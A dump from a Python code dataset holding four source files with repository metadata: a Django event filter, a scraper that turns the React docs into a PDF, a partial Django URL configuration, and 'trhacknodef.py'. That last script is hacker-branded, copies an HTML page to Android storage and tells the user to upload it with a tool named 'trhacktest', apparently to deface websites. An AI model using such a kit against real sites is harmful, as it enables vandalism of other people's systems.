ytzi/the-stack-dedup-python-filtered-docstrings

e542e61606991c722a71cb4d4a6ec9c34ef5c089

805

py

Python

trhacknodef.py

trhacknonimous/TRHACKNONdef

7cf308f3058dacdf821b8a0574469b687ecc6381

[ "Apache-2.0" ]

1

2021-12-21T12:25:51.000Z

trhacknodef.py

trhacknonimous/TRHACKNONdef

7cf308f3058dacdf821b8a0574469b687ecc6381

[ "Apache-2.0" ]

null

trhacknodef.py

trhacknonimous/TRHACKNONdef

7cf308f3058dacdf821b8a0574469b687ecc6381

[ "Apache-2.0" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- #####DONT CHANGE THIS######## ###################### ### Script By TRHACKNOnimous ### www.memanon.ml ### Don't Change This.!!! ###################### import os import sys os.system("clear") os.system("mkdir TRHACKNOnimous") os.system("mv TRHACKNOnimous/ /storage/emulated/0/") os.system("chmod +x /storage/emulated/0/TRHACKNOnimous") os.system("cp TRHACKNONscript.html /storage/emulated/0/TRHACKNOnimous/") print print("tu n'as plus qu'à utiliser un outil comme trhacktest, pour uploader le script que tu viens de creer.") os.system("sleep 5") print("script créé dans : /storage/emulated/0/TRHACKNOnimous/TRHACKNONscript.html") os.system("sleep 2") print("dont forget anonymous see everythink ;-)") os.system("sleep 3") print("[ Script en cours de chargement ]")

33.541667

109

0.68323

#!/usr/bin/python # -*- coding: utf-8 -*- #####DONT CHANGE THIS######## ###################### ### Script By TRHACKNOnimous ### www.memanon.ml ### Don't Change This.!!! ###################### import os import sys os.system("clear") os.system("mkdir TRHACKNOnimous") os.system("mv TRHACKNOnimous/ /storage/emulated/0/") os.system("chmod +x /storage/emulated/0/TRHACKNOnimous") os.system("cp TRHACKNONscript.html /storage/emulated/0/TRHACKNOnimous/") print print("tu n'as plus qu'à utiliser un outil comme trhacktest, pour uploader le script que tu viens de creer.") os.system("sleep 5") print("script créé dans : /storage/emulated/0/TRHACKNOnimous/TRHACKNONscript.html") os.system("sleep 2") print("dont forget anonymous see everythink ;-)") os.system("sleep 3") print("[ Script en cours de chargement ]")

0

be769643795a56f48c986114bc2501c3e0c90c43

1,024

py

Python

events/filters.py

Lord-sarcastic/canonical-interview

5bf208bd1d11114aa69df7d15e5f2606edaacf29

[ "MIT" ]

null

events/filters.py

Lord-sarcastic/canonical-interview

5bf208bd1d11114aa69df7d15e5f2606edaacf29

[ "MIT" ]

null

events/filters.py

Lord-sarcastic/canonical-interview

5bf208bd1d11114aa69df7d15e5f2606edaacf29

[ "MIT" ]

null

from django_filters import rest_framework as filters from .models import Event

34.133333

87

0.670898

from django_filters import rest_framework as filters from .models import Event class EventFilter(filters.FilterSet): log_level = filters.ChoiceFilter( field_name="log_level", choices=Event.LogLevel.choices ) service_id = filters.CharFilter(field_name="service_id", lookup_expr="icontains") instance_id = filters.CharFilter(field_name="instance_id", lookup_expr="icontains") request_id = filters.CharFilter(field_name="request_id", lookup_expr="icontains") event_action = filters.ChoiceFilter( field_name="event_action`", choices=Event.Actions.choices ) timestamp_gt = filters.DateTimeFilter(field_name="timestamp", lookup_expr="gt") timestamp_lt = filters.DateTimeFilter(field_name="timestamp", lookup_expr="lt") class Meta: model = Event fields = [ "log_level", "service_id", "instance_id", "request_id", "event_action", "timestamp_gt", "timestamp_lt", ]

0

920

23

f7bc2a4817d97549ce1f456ae9e4053631da76ca

4,437

py

Python

src/convert.py

Yacent/ReactTutorialInPDF

19ce923f883ddb329f7c8bfa53f60513631b9a6a

[ "MIT" ]

null

src/convert.py

Yacent/ReactTutorialInPDF

19ce923f883ddb329f7c8bfa53f60513631b9a6a

[ "MIT" ]

null

src/convert.py

Yacent/ReactTutorialInPDF

19ce923f883ddb329f7c8bfa53f60513631b9a6a

[ "MIT" ]

null

# coding=utf-8 # 实现主要思路 # 1. 获取网页教程的内容 # 2. 获取主页当中的ul-list # 3. 根据获取的ul-list 当中的a 不断发送请求，获取数据，并写入 import os import logging import requests import pickle from weasyprint import HTML from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities # global variable INDEX_URL = 'https://facebook.github.io/react/docs/getting-started.html' BASE_URL = 'https://facebook.github.io' TRY_LIMITED = 5 # 配置日志模块，并且输出到屏幕和文件 logger = logging.getLogger('pdf_logger') logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(' 'message)s') fh = logging.FileHandler('../log/pdf.log') sh = logging.StreamHandler() fh.setFormatter(formatter) sh.setFormatter(formatter) logger.addHandler(fh) logger.addHandler(sh) # 配置浏览器选项，提高抓取速度 cap = dict(DesiredCapabilities.PHANTOMJS) cap['phantomjs.page.settings.loadImages'] = False # 禁止加载图片 cap['phantomjs.page.settings.userAgent'] = ('Mozilla/5.0 (Windows NT 10.0; ' 'WOW64) AppleWebKit/537.36 (' 'KHTML, like Gecko) ' 'Chrome/45.0.2454.101 ' 'Safari/537.36') # 设置useragent cap['phantomjs.page.settings.diskCache'] = True # 设置浏览器开启缓存 # service_args = [ # '--proxy=127.0.0.1:1080', # '--proxy-type=socks5', # ] # 设置忽略https service_args=['--ignore-ssl-errors=true', '--ssl-protocol=any', '--proxy=127.0.0.1:1080', '--proxy-type=socks5'] browser = webdriver.PhantomJS(desired_capabilities=cap, service_args=service_args) browser.set_page_load_timeout(180) # 超时时间 def fetch_url_list(): """ 从react官网教程主页当中抓取页面的URL 列表 :return: 获取到的ul-list当中的所有li """ try: page = requests.get(INDEX_URL, verify=True) content = page.text soup = BeautifulSoup(content, 'lxml') url_list = [item['href'] for item in soup.select('.nav-docs-section ul li a') if item['href'].find('https') == -1] return url_list except Exception as e: logger.error('fetch url list failed') logger.error(e) def fetch_page(url, index): """ 根据给定的URL抓取页面即url_list当中的 :param url:要抓取页面的地址 :param index:页面地址在url_list当中的位置，调式时使用，方便查看哪个出错 :return:返回抓到页面的源代码，失败则返回none """ try: browser.get(url) return browser.page_source except Exception as e: logger.warning('get page %d %s failed' % (index, url)) logger.warning(e) return None def build_content(): """ 处理每一个url当中爬到页面，按顺序写入到文件当中 :return: None """ url_list = fetch_url_list() print(url_list) output = [] logger.info('there are %s pages' % len(url_list)) for url_index in range(len(url_list)): # 爬页面时可能会因为网络等原因而失败，失败后可以尝试重新抓取，最多五次 try_count = 0 temp = BASE_URL + url_list[url_index] html = fetch_page(temp, url_index) while try_count < TRY_LIMITED and html is None: html = fetch_page(BASE_URL + url_list[url_index], url_index) try_count += 1 try: if html is not None: soup = BeautifulSoup(html, 'lxml') title = soup.select(".inner-content")[0] output.append(str(title)) logger.info('get page %s success' % url_index) # 页面抓取比较耗时，且中途失败的几率较大，每抓取到页面可以把迄今为止的结果 # 序列化存储，程序异常退出后前面的结果不会丢失，可以反序列化后接着使用 # with open('output.dump', 'wb') as f: # pickle.dump(output, f) except Exception as e: logger.warning('deal page %s %s failed' % (url_index, url_list[url_index])) logger.warning(e) with open('../html/pages.html', 'w') as f: f.write('<head><meta charset="utf-8"/></head><body>' + ''.join( output) + '</body>') if not os.path.exists('../html/pages.html'): build_content() if browser: browser.quit() css = [ '../css/codemirror.css', '../css/react.css', '../css/syntax.css' ] HTML('../html/pages.html').write_pdf('../React教程.pdf', stylesheets=css)

31.920863

86

0.57922

# coding=utf-8 # 实现主要思路 # 1. 获取网页教程的内容 # 2. 获取主页当中的ul-list # 3. 根据获取的ul-list 当中的a 不断发送请求，获取数据，并写入 import os import logging import requests import pickle from weasyprint import HTML from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities # global variable INDEX_URL = 'https://facebook.github.io/react/docs/getting-started.html' BASE_URL = 'https://facebook.github.io' TRY_LIMITED = 5 # 配置日志模块，并且输出到屏幕和文件 logger = logging.getLogger('pdf_logger') logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(' 'message)s') fh = logging.FileHandler('../log/pdf.log') sh = logging.StreamHandler() fh.setFormatter(formatter) sh.setFormatter(formatter) logger.addHandler(fh) logger.addHandler(sh) # 配置浏览器选项，提高抓取速度 cap = dict(DesiredCapabilities.PHANTOMJS) cap['phantomjs.page.settings.loadImages'] = False # 禁止加载图片 cap['phantomjs.page.settings.userAgent'] = ('Mozilla/5.0 (Windows NT 10.0; ' 'WOW64) AppleWebKit/537.36 (' 'KHTML, like Gecko) ' 'Chrome/45.0.2454.101 ' 'Safari/537.36') # 设置useragent cap['phantomjs.page.settings.diskCache'] = True # 设置浏览器开启缓存 # service_args = [ # '--proxy=127.0.0.1:1080', # '--proxy-type=socks5', # ] # 设置忽略https service_args=['--ignore-ssl-errors=true', '--ssl-protocol=any', '--proxy=127.0.0.1:1080', '--proxy-type=socks5'] browser = webdriver.PhantomJS(desired_capabilities=cap, service_args=service_args) browser.set_page_load_timeout(180) # 超时时间 def fetch_url_list(): """ 从react官网教程主页当中抓取页面的URL 列表 :return: 获取到的ul-list当中的所有li """ try: page = requests.get(INDEX_URL, verify=True) content = page.text soup = BeautifulSoup(content, 'lxml') url_list = [item['href'] for item in soup.select('.nav-docs-section ul li a') if item['href'].find('https') == -1] return url_list except Exception as e: logger.error('fetch url list failed') logger.error(e) def fetch_page(url, index): """ 根据给定的URL抓取页面即url_list当中的 :param url:要抓取页面的地址 :param index:页面地址在url_list当中的位置，调式时使用，方便查看哪个出错 :return:返回抓到页面的源代码，失败则返回none """ try: browser.get(url) return browser.page_source except Exception as e: logger.warning('get page %d %s failed' % (index, url)) logger.warning(e) return None def build_content(): """ 处理每一个url当中爬到页面，按顺序写入到文件当中 :return: None """ url_list = fetch_url_list() print(url_list) output = [] logger.info('there are %s pages' % len(url_list)) for url_index in range(len(url_list)): # 爬页面时可能会因为网络等原因而失败，失败后可以尝试重新抓取，最多五次 try_count = 0 temp = BASE_URL + url_list[url_index] html = fetch_page(temp, url_index) while try_count < TRY_LIMITED and html is None: html = fetch_page(BASE_URL + url_list[url_index], url_index) try_count += 1 try: if html is not None: soup = BeautifulSoup(html, 'lxml') title = soup.select(".inner-content")[0] output.append(str(title)) logger.info('get page %s success' % url_index) # 页面抓取比较耗时，且中途失败的几率较大，每抓取到页面可以把迄今为止的结果 # 序列化存储，程序异常退出后前面的结果不会丢失，可以反序列化后接着使用 # with open('output.dump', 'wb') as f: # pickle.dump(output, f) except Exception as e: logger.warning('deal page %s %s failed' % (url_index, url_list[url_index])) logger.warning(e) with open('../html/pages.html', 'w') as f: f.write('<head><meta charset="utf-8"/></head><body>' + ''.join( output) + '</body>') if not os.path.exists('../html/pages.html'): build_content() if browser: browser.quit() css = [ '../css/codemirror.css', '../css/react.css', '../css/syntax.css' ] HTML('../html/pages.html').write_pdf('../React教程.pdf', stylesheets=css)

0

41653f40b4621c9f3cf7ce3238a9ba6174580176

11,348

py

Python

dynadb/urls.py

GPCRmd/GPCRmd

7dc75359ace4a00c1597bdb7a86ebee17d51f09c

[ "Apache-2.0" ]

3

2019-03-06T13:35:38.000Z

2020-08-05T15:31:29.000Z

dynadb/urls.py

GPCRmd/GPCRmd

7dc75359ace4a00c1597bdb7a86ebee17d51f09c

[ "Apache-2.0" ]

null

dynadb/urls.py

GPCRmd/GPCRmd

7dc75359ace4a00c1597bdb7a86ebee17d51f09c

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from django.conf.urls import url,patterns,include #antes: from django.conf.urls import url,patterns from django.views.generic import TemplateView from django.contrib import admin from django.conf import settings from . import views from haystack.query import SearchQuerySet from haystack.views import SearchView from .forms import MainSearchForm sqs = SearchQuerySet().all() app_name= 'dynadb' urlpatterns = [ url(r'^reset/$', views.reset_permissions, name="reset_permissions"), #url(r'^prueba_varios/$', TemplateView.as_view(template_name='dynadb/pruebamult_template.html'), name="prueba_varios"), #url(r'^profile_setting/$', views.profile_setting, name='profile_setting'), #url(r'^sub_sim/$', views.sub_sim, name='sub_sim'), #url(r'^name/$', views.get_name, name='name'), # url(r'^dyndbfiles/$', views.get_DyndbFiles, name='dyndbfiles'), url(r'^db_inputform/(?P<submission_id>[0-9]+)?/?$', views.db_inputformMAIN, name='db_inputform'), url(r'^before_db_inputform_prev_moddb_inputform/(?P<submission_id>[0-9]+)?/?$', views.db_inputformMAIN, name='before_db_inputform_prev_mod'), # url(r'^db_author_information/$', views.get_Author_Information, name='db_author_information'), # url(r'^db_dynamics/$', views.get_Dynamics, name='db_dynamics'), # url(r'^db_files/$', views.get_FilesCOMPLETE, name='db_files'), # url(r'^db_protein/$', views.get_ProteinForm, name='db_protein'), # url(r'^db_molecule/$', views.get_Molecule, name='db_molecule'), # url(r'^db_molecule/$', views.get_Molecule, name='db_molecule'), # url(r'^db_component/$', views.get_Component, name='db_component'), # url(r'^db_model/$', views.get_Model, name='db_model'), # url(r'^db_compoundform/$', views.get_CompoundForm, name='db_compoundform'), # url(r'^your_name/$', views.get_name, name='your_name'), # url(r'^thanks/$', views.get_name, name='thanks'), # url(r'^admin/', admin.site.urls), url(r'^protein/(?P<submission_id>[0-9]+)/$', views.PROTEINview, name='protein'), url(r'^protein/(?P<submission_id>[0-9]+)/delete/$', views.delete_protein, name='delete_protein'), url(r'^protein/get_data_upkb/?([A-Z0-9-]+)?$', views.protein_get_data_upkb, name='protein_get_data_upkb'), url(r'^protein/download_specieslist/$', views.download_specieslist, name='protein_download_specieslist'), url(r'^protein/get_specieslist/$', views.get_specieslist, name='protein_get_specieslist'), url(r'^protein/get_mutations/$', views.get_mutations_view, name='protein_get_mutations'), url(r'^protein/(?P<alignment_key>[0-9]+)/alignment/$', views.show_alig, name='show_alig'), url(r'^protein/id/(?P<protein_id>[0-9]+)/$',views.query_protein, name='query_protein'), url(r'^protein/id/(?P<protein_id>[0-9]+)/fasta$',views.query_protein_fasta, name='query_protein_fasta'), url(r'^molecule/id/(?P<molecule_id>[0-9]+)/$',views.query_molecule, name='query_molecule'), url(r'^molecule/id/(?P<molecule_id>[0-9]+)/sdf$',views.query_molecule_sdf,name='query_molecule_sdf'), url(r'^compound/id/(?P<compound_id>[0-9]+)/$',views.query_compound, name='query_compound'), url(r'^model/id/(?P<model_id>[0-9]+)/$',views.query_model, name='query_model'), url(r'^dynamics/id/(?P<dynamics_id>[0-9]+)/$',views.query_dynamics, name='query_dynamics'), url(r'^complex/id/(?P<complex_id>[0-9]+)/$',views.query_complex, name='query_complex'), url(r'^references/$', views.REFERENCEview, name='references'), url(r'^REFERENCEfilled/(?P<submission_id>[0-9]+)/$', views.REFERENCEview, name='REFERENCEfilled'), url(r'^PROTEINfilled/(?P<submission_id>[0-9]+)/$', views.PROTEINview, name='PROTEINfilled'), url(r'^submission_summary/(?P<submission_id>[0-9]+)/$', views.submission_summaryiew, name='submission_summary'), url(r'^protein_summary/(?P<submission_id>[0-9]+)/$', views.protein_summaryiew, name='protein_summary'), url(r'^molecule_summary/(?P<submission_id>[0-9]+)/$', views.molecule_summaryiew, name='molecule_summary'), url(r'^model_summary/(?P<submission_id>[0-9]+)/$', views.model_summaryiew, name='model_summary'), url(r'^molecule/(?P<submission_id>[0-9]+)/$', views.SMALL_MOLECULEview, name='molecule'), url(r'^molecule/(?P<submission_id>[0-9]+)/delete/$', views.delete_molecule, name='delete_molecule'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.SMALL_MOLECULEreuseview, name='moleculereuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?generate_properties/$', views.generate_molecule_properties, name='generate_molecule_properties_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?delete/$', views.delete_molecule, name='delete_molecule_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?get_compound_info_pubchem/$', views.get_compound_info_pubchem, name='get_compound_info_pubchem_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?get_compound_info_chembl/$', views.get_compound_info_chembl, name='get_compound_info_chembl_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?submitpost/$', views.submitpost_view, name='submitpost_reuse'), #url(r'^moleculereuse/open_pubchem/$', views.open_pubchem, name='molecule_open_pubchem_reuse'), #url(r'^moleculereuse/open_chembl/$', views.open_chembl, name='molecule_open_chembl_reuse'), url(r'^moleculereuse/(?:[0-9]+/)open_pubchem/$', views.open_pubchem, name='molecule_open_pubchem_reuse'), url(r'^moleculereuse/(?:[0-9]+/)open_chembl/$', views.open_chembl, name='molecule_open_chembl_reuse'), url(r'^molecule/(?P<submission_id>[0-9]+)/submitpost/$', views.submitpost_view, name='submitpost'), url(r'^molecule/(?P<submission_id>[0-9]+)/generate_properties/$', views.generate_molecule_properties, name='generate_molecule_properties'), url(r'^molecule/(?P<submission_id>[0-9]+)/get_compound_info_pubchem/$', views.get_compound_info_pubchem, name='get_compound_info_pubchem'), url(r'^molecule/(?P<submission_id>[0-9]+)/get_compound_info_chembl/$', views.get_compound_info_chembl, name='get_compound_info_chembl'), url(r'^molecule/open_pubchem/$', views.open_pubchem, name='molecule_open_pubchem'), url(r'^molecule/open_chembl/$', views.open_chembl, name='molecule_open_chembl'), url(r'^molecule2/(?P<submission_id>[0-9]+)/$', views.SMALL_MOLECULEview2, name='molecule2'), url(r'^MOLECULEfilled/(?P<submission_id>[0-9]+)/$', views.SMALL_MOLECULEview, name='MOLECULEfilled'), url(r'^MOLECULEfilled2/$', views.SMALL_MOLECULEview2, name='MOLECULEfilled2'), url(r'^model/(?P<submission_id>[0-9]+)/$', views.MODELview, name='model'), url(r'^(?P<form_type>model|dynamics)/(?P<submission_id>[0-9]+)/check_pdb_molecules/$', views.pdbcheck_molecule, name='pdbcheck_molecule'), url(r'^(?P<form_type>dynamics)reuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?check_pdb_molecules/$', views.pdbcheck_molecule, name='pdbcheck_molecule'), ####### url(r'^(?P<form_type>model|dynamics)/(?P<submission_id>[0-9]+)/get_submission_molecule_info/$', views.get_submission_molecule_info, name='get_submission_molecule_info'), url(r'^model/(?P<submission_id>[0-9]+)/ajax_pdbchecker/$', views.pdbcheck, name='pdbcheck'), url(r'^model/(?P<submission_id>[0-9]+)/search_top/$',views.search_top,name='search_top'), #keep this one in a merge url(r'^model/(?P<submission_id>[0-9]+)/upload_model_pdb/$', views.upload_model_pdb, name='upload_model_pdb'), url(r'^modelreuse/(?P<submission_id>-?[0-9]+)/(?:[0-9]+/)?$', views.MODELreuseview, name='modelreuse'), url(r'^proteinreuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?$', views.PROTEINreuseview, name='proteinreuse'), # url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.SMALL_MOLECULEreuseview, name='moleculereuse'), # url(r'^modelrow/$', views.MODELrowview, name='modelrow'), url(r'^modelreuserequest/(?P<model_id>[0-9]+)/$', views.MODELreuseREQUESTview, name='modelreuserequest'), url(r'^MODELfilled/(?P<submission_id>[0-9]+)/$', views.MODELview, name='MODELfilled'), #url(r'^ajax_pdbchecker/(?P<submission_id>[0-9]+)/$', views.pdbcheck, name='pdbcheck'), url(r'^search/$', SearchView(template='/protwis/sites/protwis/dynadb/templates/search/search.html', searchqueryset=sqs, form_class=MainSearchForm),name='haystack_search'), url(r'^ajaxsearch/',views.ajaxsearcher,name='ajaxsearcher'), url(r'^empty_search/',views.emptysearcher,name='emptysearcher'), url(r'^autocomplete/',views.autocomplete,name='autocomplete'), url(r'^advanced_search/$', views.NiceSearcher,name='NiceSearcher'), #url(r'^search_top/(?P<submission_id>[0-9]+)/$',views.search_top,name='search_top'), url(r'^dynamics/(?P<submission_id>[0-9]+)/$', views.DYNAMICSview, name='dynamics'), url(r'^dynamics/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?upload_files/((?P<trajectory>traj)/)?$', views.upload_dynamics_files, name='dynamics_upload_files'), url(r'^dynamicsreuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?upload_files/((?P<trajectory>traj)/)?$', views.upload_dynamics_files, name='dynamics_upload_files'), url(r'^dynamics/(?P<submission_id>[0-9]+)/check_trajectories/$', views.check_trajectories, name='dynamics_check_trajectories'), url(r'^dynamics/do_analysis/$', views.do_analysis, name='do_analysis'), # url(r'^dynamicsreuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.DYNAMICSreuseview, name='dynamicsreuse'), url(r'^dynamicsreuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.DYNAMICSview, name='dynamicsreuse'), url(r'^DYNAMICSfilled/(?P<submission_id>[0-9]+)/$', views.DYNAMICSview, name='DYNAMICSfilled'), #url(r'^form/$', views.get_formup, name='form'), url(r'^model/carousel/(?P<model_id>[0-9]+)/$', views.carousel_model_components, name='carousel_model_components'), url(r'^dynamics/carousel/(?P<dynamics_id>[0-9]+)/$', views.carousel_dynamics_components, name='carousel_dynamics_components'), #url(r'^files/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT,}), #this line shouldnt be here url(r'^submitted/(?P<submission_id>[0-9]+)/$', views.SUBMITTEDview, name='submitted'), url(r'^close_submission/(?P<submission_id>[0-9]+)/$', views.close_submission, name='close_submission'), url(r'^datasets/$', views.datasets, name='datasets'), url(r'^table/$', views.table, name='table'), url(r'^blank/$', TemplateView.as_view(template_name="dynadb/blank.html"), name='blank'),] # url(r'^some_temp/$', views.some_view, name='some_temp') # url(r'^prueba_varios/$', views.profile_setting, name='PRUEBA_varios'), if settings.DEBUG: urlpatterns += patterns('', url(r'^files/(?P<path>.*)$', 'django.views.static.serve', { 'document_root': settings.MEDIA_ROOT, }), url(r'^static/(?P<path>.*)$', 'django.views.static.serve', { 'document_root': settings.STATIC_ROOT, }), ) else: if settings.FILES_NO_LOGIN: serve_files_func = views.serve_submission_files_no_login else: serve_files_func = views.serve_submission_files urlpatterns += patterns('', url(r'^files/(?P<obj_folder>[^/\\]+)/(?P<submission_folder>[^/\\]+)/(?P<path>.*)$', serve_files_func, name='serve_submission_files'), )

79.915493

175

0.700211

# -*- coding: utf-8 -*- from django.conf.urls import url,patterns,include #antes: from django.conf.urls import url,patterns from django.views.generic import TemplateView from django.contrib import admin from django.conf import settings from . import views from haystack.query import SearchQuerySet from haystack.views import SearchView from .forms import MainSearchForm sqs = SearchQuerySet().all() app_name= 'dynadb' urlpatterns = [ url(r'^reset/$', views.reset_permissions, name="reset_permissions"), #url(r'^prueba_varios/$', TemplateView.as_view(template_name='dynadb/pruebamult_template.html'), name="prueba_varios"), #url(r'^profile_setting/$', views.profile_setting, name='profile_setting'), #url(r'^sub_sim/$', views.sub_sim, name='sub_sim'), #url(r'^name/$', views.get_name, name='name'), # url(r'^dyndbfiles/$', views.get_DyndbFiles, name='dyndbfiles'), url(r'^db_inputform/(?P<submission_id>[0-9]+)?/?$', views.db_inputformMAIN, name='db_inputform'), url(r'^before_db_inputform_prev_moddb_inputform/(?P<submission_id>[0-9]+)?/?$', views.db_inputformMAIN, name='before_db_inputform_prev_mod'), # url(r'^db_author_information/$', views.get_Author_Information, name='db_author_information'), # url(r'^db_dynamics/$', views.get_Dynamics, name='db_dynamics'), # url(r'^db_files/$', views.get_FilesCOMPLETE, name='db_files'), # url(r'^db_protein/$', views.get_ProteinForm, name='db_protein'), # url(r'^db_molecule/$', views.get_Molecule, name='db_molecule'), # url(r'^db_molecule/$', views.get_Molecule, name='db_molecule'), # url(r'^db_component/$', views.get_Component, name='db_component'), # url(r'^db_model/$', views.get_Model, name='db_model'), # url(r'^db_compoundform/$', views.get_CompoundForm, name='db_compoundform'), # url(r'^your_name/$', views.get_name, name='your_name'), # url(r'^thanks/$', views.get_name, name='thanks'), # url(r'^admin/', admin.site.urls), url(r'^protein/(?P<submission_id>[0-9]+)/$', views.PROTEINview, name='protein'), url(r'^protein/(?P<submission_id>[0-9]+)/delete/$', views.delete_protein, name='delete_protein'), url(r'^protein/get_data_upkb/?([A-Z0-9-]+)?$', views.protein_get_data_upkb, name='protein_get_data_upkb'), url(r'^protein/download_specieslist/$', views.download_specieslist, name='protein_download_specieslist'), url(r'^protein/get_specieslist/$', views.get_specieslist, name='protein_get_specieslist'), url(r'^protein/get_mutations/$', views.get_mutations_view, name='protein_get_mutations'), url(r'^protein/(?P<alignment_key>[0-9]+)/alignment/$', views.show_alig, name='show_alig'), url(r'^protein/id/(?P<protein_id>[0-9]+)/$',views.query_protein, name='query_protein'), url(r'^protein/id/(?P<protein_id>[0-9]+)/fasta$',views.query_protein_fasta, name='query_protein_fasta'), url(r'^molecule/id/(?P<molecule_id>[0-9]+)/$',views.query_molecule, name='query_molecule'), url(r'^molecule/id/(?P<molecule_id>[0-9]+)/sdf$',views.query_molecule_sdf,name='query_molecule_sdf'), url(r'^compound/id/(?P<compound_id>[0-9]+)/$',views.query_compound, name='query_compound'), url(r'^model/id/(?P<model_id>[0-9]+)/$',views.query_model, name='query_model'), url(r'^dynamics/id/(?P<dynamics_id>[0-9]+)/$',views.query_dynamics, name='query_dynamics'), url(r'^complex/id/(?P<complex_id>[0-9]+)/$',views.query_complex, name='query_complex'), url(r'^references/$', views.REFERENCEview, name='references'), url(r'^REFERENCEfilled/(?P<submission_id>[0-9]+)/$', views.REFERENCEview, name='REFERENCEfilled'), url(r'^PROTEINfilled/(?P<submission_id>[0-9]+)/$', views.PROTEINview, name='PROTEINfilled'), url(r'^submission_summary/(?P<submission_id>[0-9]+)/$', views.submission_summaryiew, name='submission_summary'), url(r'^protein_summary/(?P<submission_id>[0-9]+)/$', views.protein_summaryiew, name='protein_summary'), url(r'^molecule_summary/(?P<submission_id>[0-9]+)/$', views.molecule_summaryiew, name='molecule_summary'), url(r'^model_summary/(?P<submission_id>[0-9]+)/$', views.model_summaryiew, name='model_summary'), url(r'^molecule/(?P<submission_id>[0-9]+)/$', views.SMALL_MOLECULEview, name='molecule'), url(r'^molecule/(?P<submission_id>[0-9]+)/delete/$', views.delete_molecule, name='delete_molecule'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.SMALL_MOLECULEreuseview, name='moleculereuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?generate_properties/$', views.generate_molecule_properties, name='generate_molecule_properties_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?delete/$', views.delete_molecule, name='delete_molecule_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?get_compound_info_pubchem/$', views.get_compound_info_pubchem, name='get_compound_info_pubchem_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?get_compound_info_chembl/$', views.get_compound_info_chembl, name='get_compound_info_chembl_reuse'), url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?submitpost/$', views.submitpost_view, name='submitpost_reuse'), #url(r'^moleculereuse/open_pubchem/$', views.open_pubchem, name='molecule_open_pubchem_reuse'), #url(r'^moleculereuse/open_chembl/$', views.open_chembl, name='molecule_open_chembl_reuse'), url(r'^moleculereuse/(?:[0-9]+/)open_pubchem/$', views.open_pubchem, name='molecule_open_pubchem_reuse'), url(r'^moleculereuse/(?:[0-9]+/)open_chembl/$', views.open_chembl, name='molecule_open_chembl_reuse'), url(r'^molecule/(?P<submission_id>[0-9]+)/submitpost/$', views.submitpost_view, name='submitpost'), url(r'^molecule/(?P<submission_id>[0-9]+)/generate_properties/$', views.generate_molecule_properties, name='generate_molecule_properties'), url(r'^molecule/(?P<submission_id>[0-9]+)/get_compound_info_pubchem/$', views.get_compound_info_pubchem, name='get_compound_info_pubchem'), url(r'^molecule/(?P<submission_id>[0-9]+)/get_compound_info_chembl/$', views.get_compound_info_chembl, name='get_compound_info_chembl'), url(r'^molecule/open_pubchem/$', views.open_pubchem, name='molecule_open_pubchem'), url(r'^molecule/open_chembl/$', views.open_chembl, name='molecule_open_chembl'), url(r'^molecule2/(?P<submission_id>[0-9]+)/$', views.SMALL_MOLECULEview2, name='molecule2'), url(r'^MOLECULEfilled/(?P<submission_id>[0-9]+)/$', views.SMALL_MOLECULEview, name='MOLECULEfilled'), url(r'^MOLECULEfilled2/$', views.SMALL_MOLECULEview2, name='MOLECULEfilled2'), url(r'^model/(?P<submission_id>[0-9]+)/$', views.MODELview, name='model'), url(r'^(?P<form_type>model|dynamics)/(?P<submission_id>[0-9]+)/check_pdb_molecules/$', views.pdbcheck_molecule, name='pdbcheck_molecule'), url(r'^(?P<form_type>dynamics)reuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?check_pdb_molecules/$', views.pdbcheck_molecule, name='pdbcheck_molecule'), ####### url(r'^(?P<form_type>model|dynamics)/(?P<submission_id>[0-9]+)/get_submission_molecule_info/$', views.get_submission_molecule_info, name='get_submission_molecule_info'), url(r'^model/(?P<submission_id>[0-9]+)/ajax_pdbchecker/$', views.pdbcheck, name='pdbcheck'), url(r'^model/(?P<submission_id>[0-9]+)/search_top/$',views.search_top,name='search_top'), #keep this one in a merge url(r'^model/(?P<submission_id>[0-9]+)/upload_model_pdb/$', views.upload_model_pdb, name='upload_model_pdb'), url(r'^modelreuse/(?P<submission_id>-?[0-9]+)/(?:[0-9]+/)?$', views.MODELreuseview, name='modelreuse'), url(r'^proteinreuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?$', views.PROTEINreuseview, name='proteinreuse'), # url(r'^moleculereuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.SMALL_MOLECULEreuseview, name='moleculereuse'), # url(r'^modelrow/$', views.MODELrowview, name='modelrow'), 